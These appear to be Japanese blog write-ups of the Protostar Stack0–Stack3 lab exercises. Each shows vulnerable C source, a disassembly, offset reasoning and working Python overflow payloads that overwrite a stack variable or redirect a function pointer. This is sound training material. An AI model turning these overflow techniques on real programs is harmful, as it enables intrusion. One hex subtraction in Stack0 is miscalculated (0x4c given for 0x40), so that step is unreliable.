protostar stack3 writeup

## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack3を解いたので、そのwriteupを書いていく

### Stack3
ソースコードはこんな感じ

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

実行するとこんな感じ

$ ./stack3 
AAAA

今回はバッファオーバーフロー脆弱性を利用し関数ポインタであるfpを上書きしwin()を実行させる.

バイナリはこんな感じ

$ objdump -d ./stack3 | grep main\>: -A20
08048438 <main>:
 8048438:	55                   	push   ebp
 8048439:	89 e5                	mov    ebp,esp
 804843b:	83 e4 f0             	and    esp,0xfffffff0
 804843e:	83 ec 60             	sub    esp,0x60
 8048441:	c7 44 24 5c 00 00 00 	mov    DWORD PTR [esp+0x5c],0x0
 8048448:	00 
 8048449:	8d 44 24 1c          	lea    eax,[esp+0x1c]
 804844d:	89 04 24             	mov    DWORD PTR [esp],eax
 8048450:	e8 db fe ff ff       	call   8048330 <gets@plt>
 8048455:	83 7c 24 5c 00       	cmp    DWORD PTR [esp+0x5c],0x0
 804845a:	74 1b                	je     8048477 <main+0x3f>
 804845c:	b8 60 85 04 08       	mov    eax,0x8048560
 8048461:	8b 54 24 5c          	mov    edx,DWORD PTR [esp+0x5c]
 8048465:	89 54 24 04          	mov    DWORD PTR [esp+0x4],edx
 8048469:	89 04 24             	mov    DWORD PTR [esp],eax
 804846c:	e8 df fe ff ff       	call   8048350 <printf@plt>
 8048471:	8b 44 24 5c          	mov    eax,DWORD PTR [esp+0x5c]
 8048475:	ff d0                	call   eax
 8048477:	c9                   	leave  
 8048478:	c3                   	ret   
 ||<

見た感じ[esp+0x1c]がbuffer, [esp+0x5c]がfpっぽい.
その差は64バイト.
次にwin()のアドレスを探す.
これにはnmコマンドを使う.

>|bash|
$ nm ./stack3 | grep win
08048424 T win

出力を見るに0x08048424にwin()のコードが格納されたアドレスがあるようだ.
ここから64バイト+0x08048424の値を入力すると関数ポイタfpにwin()のアドレスが入ると考えられる.
というわけで実行してみる.

$ python -c 'print "A"*64 + "\x24\x84\x04\x08"' | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

成功した

Stack3 おわり

protostar stack 2 writeup

## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack2を解いたので,そのwriteupを書いていく

### Stack 2
ソースコードはこんな感じ

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

「you have correctly modified the variable」を出力させてみる.
例のごとくバッファオーバーフロー脆弱性が存在しているのでコレを利用する.

バイナリのmain関数はこんな感じ

$ objdump -d ./stack2 | grep main\>: -A33
08048494 <main>:
 8048494:	55                   	push   ebp
 8048495:	89 e5                	mov    ebp,esp
 8048497:	83 e4 f0             	and    esp,0xfffffff0
 804849a:	83 ec 60             	sub    esp,0x60
 804849d:	c7 04 24 e0 85 04 08 	mov    DWORD PTR [esp],0x80485e0
 80484a4:	e8 d3 fe ff ff       	call   804837c <getenv@plt>
 80484a9:	89 44 24 5c          	mov    DWORD PTR [esp+0x5c],eax
 80484ad:	83 7c 24 5c 00       	cmp    DWORD PTR [esp+0x5c],0x0
 80484b2:	75 14                	jne    80484c8 <main+0x34>
 80484b4:	c7 44 24 04 e8 85 04 	mov    DWORD PTR [esp+0x4],0x80485e8
 80484bb:	08 
 80484bc:	c7 04 24 01 00 00 00 	mov    DWORD PTR [esp],0x1
 80484c3:	e8 f4 fe ff ff       	call   80483bc <errx@plt>
 80484c8:	c7 44 24 58 00 00 00 	mov    DWORD PTR [esp+0x58],0x0
 80484cf:	00 
 80484d0:	8b 44 24 5c          	mov    eax,DWORD PTR [esp+0x5c]
 80484d4:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
 80484d8:	8d 44 24 18          	lea    eax,[esp+0x18]
 80484dc:	89 04 24             	mov    DWORD PTR [esp],eax
 80484df:	e8 b8 fe ff ff       	call   804839c <strcpy@plt>
 80484e4:	8b 44 24 58          	mov    eax,DWORD PTR [esp+0x58]
 80484e8:	3d 0a 0d 0a 0d       	cmp    eax,0xd0a0d0a
 80484ed:	75 0e                	jne    80484fd <main+0x69>
 80484ef:	c7 04 24 18 86 04 08 	mov    DWORD PTR [esp],0x8048618
 80484f6:	e8 d1 fe ff ff       	call   80483cc <puts@plt>
 80484fb:	eb 15                	jmp    8048512 <main+0x7e>
 80484fd:	8b 54 24 58          	mov    edx,DWORD PTR [esp+0x58]
 8048501:	b8 41 86 04 08       	mov    eax,0x8048641
 8048506:	89 54 24 04          	mov    DWORD PTR [esp+0x4],edx
 804850a:	89 04 24             	mov    DWORD PTR [esp],eax
 804850d:	e8 9a fe ff ff       	call   80483ac <printf@plt>
 8048512:	c9                   	leave  
 8048513:	c3                   	ret    

見た感じ[esp+0x58]がmodified, [esp+0x18]がbufferっぽい.
0x58-0x18=0x40, 10進数で64.
つまり64バイト+"0x0d0a0d0a"をbufferに送り込めばいい.
今回気になる所は環境変数を使っている点だ.
getenv関数でGREENIEの値を取得しvariableに入れている.
ということで環境変数GREENIEを用意しそこに値を入れる.

$ export GREENIE=$(python -c 'print "A"*64 + "\x0a\x0d\x0a\x0d"')

そして実行してみる.

$ ./stack2
you have correctly modified the variable

成功した.

Stack2 おわり

protostar stack 1 writeup

## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack1を解いたので、そのwriteupを書いていく

### Stack 1
ソースコードはこんな感じ

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

動作は以下のとおり.

$ ./stack1 AAAA
Try again, you got 0x00000000

今回も同じように脆弱性を利用し「you have correctly got the variable to the right value」を出力させてみる.

しかし脆弱性自体はStack0と同じもので64バイトより大きな値を入力してmodifiedの値を書き換え本来到達しない分岐へ飛ばすだけである.
分岐の条件を見てみるとmodifiedの値が0x61626364であればいいようだ.
というわけで64バイトより後に"\x61\x62\x63\x64"をくっつければうまくいくだろう, と思うかもしれないがそうはそうは問屋が卸さない.
メモリ空間上では値を『リトルエンディアン』と呼ばれる方式で管理しており, 高位のアドレスに格納されている値が先に認識される.
うまく説明できる気がしないが
0x61626364
という値はリトルエンディアンでは
"\x64\x63\x62\x61"
というように管理している.
つまり64バイトより後ろにただ"\x61\x62\x63\x64"とつけただけでは0x64636261と解釈されてしまう.
そういうわけで今回のは64バイト以降に"\x64\x63\x62\x61"と付けて分岐を突破してみる.

$ ./stack1 $(python -c 'print "A"*64 + "\x61\x62\x62\x64"')
Try again, you got 0x64626261

$ ./stack1 $(python -c 'print "A"*64 + "\x64\x63\x62\x61"')
you have correctly got the variable to the right value

トルエンディアンを意識して入力すると成功する.

Stack1 おわり

protostar stack 0 writeup

## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack0を解いたので、そのwriteupを書いていく

### Stack 0
ソースコードはこんな感じ

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

動作は以下のとおり.

$ ./stack0
AAAA 
Try again?

ソースコードを見るとchar型の配列であるbufferへ値を入れているが入力値の大きさをチェックしていないためバッファオーバーフロー脆弱性が存在する.
ここではその脆弱性を利用し「you have changed the 'modified' variable」を出力させてみる.
まずはバイナリのmain関数内でどのような処理を行っているか見てみる.

$ objdump -d ./stack0 | grep main\>\: -A19
080483f4 <main>:
 80483f4:	55                   	push   ebp
 80483f5:	89 e5                	mov    ebp,esp
 80483f7:	83 e4 f0             	and    esp,0xfffffff0
 80483fa:	83 ec 60             	sub    esp,0x60
 80483fd:	c7 44 24 5c 00 00 00 	mov    DWORD PTR [esp+0x5c],0x0
 8048404:	00 
 8048405:	8d 44 24 1c          	lea    eax,[esp+0x1c]
 8048409:	89 04 24             	mov    DWORD PTR [esp],eax
 804840c:	e8 fb fe ff ff       	call   804830c <gets@plt>
 8048411:	8b 44 24 5c          	mov    eax,DWORD PTR [esp+0x5c]
 8048415:	85 c0                	test   eax,eax
 8048417:	74 0e                	je     8048427 <main+0x33>
 8048419:	c7 04 24 00 85 04 08 	mov    DWORD PTR [esp],0x8048500
 8048420:	e8 07 ff ff ff       	call   804832c <puts@plt>
 8048425:	eb 0c                	jmp    8048433 <main+0x3f>
 8048427:	c7 04 24 29 85 04 08 	mov    DWORD PTR [esp],0x8048529
 804842e:	e8 f9 fe ff ff       	call   804832c <puts@plt>
 8048433:	c9                   	leave  
 8048434:	c3                   	ret 
 ||<

流れとしてはスタックを確保後, 分岐の条件として使われる[esp+0x5c](modified)に0を代入.
次にesp+0x1c(buffer)に対しgetsで値を入力し[esp+0x5c](modified)の値が0であれば0x8048427に飛んで「Try again?」と出力.
そうでなければ(modifiedの値が書き換わっていれば)「you have changed the 'modified' variable」と出力する.

modifiedとbufferの差は 0x5c-0x1c=0x4c, これを10進数に直すと64バイトである.
このことからバッファオーバーフロー脆弱性を利用しbufferに64バイトよりも大きな値を入れるとmodifiedとされているメモリ領域の値を変えることができると考えられる.

実際に入力してみる.
>|bash|
$ python -c 'print "A"*64' | ./stack0
Try again?

$ python -c 'print "A"*65' | ./stack0
you have changed the 'modified' variable

64バイトよりも大きな値を入力したことでmodifiedの値が0から書き換えられ本来なら到達しない分岐ルートに飛んでいることが確認できる.

Stack0 おわり